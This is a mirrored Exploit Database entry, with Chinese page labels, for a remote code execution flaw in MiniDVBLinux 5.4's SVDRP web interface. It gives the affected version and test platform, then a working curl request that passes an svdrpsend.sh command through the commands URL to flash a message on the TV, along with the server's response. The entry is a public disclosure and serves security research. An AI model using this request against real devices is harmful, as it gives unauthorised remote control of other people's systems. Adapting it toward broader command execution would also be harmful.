MiniDVBLinux 5.4 Simple VideoDiskRecorder Protocol SVDRP – Remote Code Execution (RCE)

• Exploit Database
• 14 阅读

• 作者： LiquidWorm
  日期： 2023-03-27
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/51093/

• # Exploit Title: MiniDVBLinux 5.4 Simple VideoDiskRecorder Protocol SVDRP - Remote Code Execution (RCE)
  # Exploit Author: LiquidWorm
  
  MiniDVBLinux 5.4 Simple VideoDiskRecorder Protocol SVDRP (svdrpsend.sh) Exploit
  
  
  Vendor: MiniDVBLinux
  Product web page: https://www.minidvblinux.de
  Affected version: <=5.4
  
  Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
  way to convert a standard PC into a Multi Media Centre based on the
  Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
  Linux based Digital Video Recorder: Watch TV, Timer controlled
  recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
  via browser, and a lot more. MLD strives to be as small as possible,
  modular, simple. It supports numerous hardware platforms, like classic
  desktops in 32/64bit and also various low power ARM systems.
  
  Desc: The application allows the usage of the SVDRP protocol/commands
  to be sent by a remote attacker to manipulate and/or control remotely
  the TV.
  
  Tested on: MiniDVBLinux 5.4
   BusyBox v1.25.1
   Architecture: armhf, armhf-rpi2
   GNU/Linux 4.19.127.203 (armv7l)
   VideoDiskRecorder 2.4.6
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2022-5714
  Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5714.php
  
  
  24.09.2022
  
  --
  
  
  Send a message to the TV screen:
  
  curl http://ip:8008/?site=commands&section=system&command=svdrpsend.sh%20MESG%20WE%20ARE%20WATCHING%20YOU!
  
  220 mld SVDRP VideoDiskRecorder 2.4.6; Wed Sep 28 13:07:51 2022; UTF-8
  250 Message queued
  221 mld closing connection
  
  For more commands:
   - https://www.linuxtv.org/vdrwiki/index.php/SVDRP#The_commands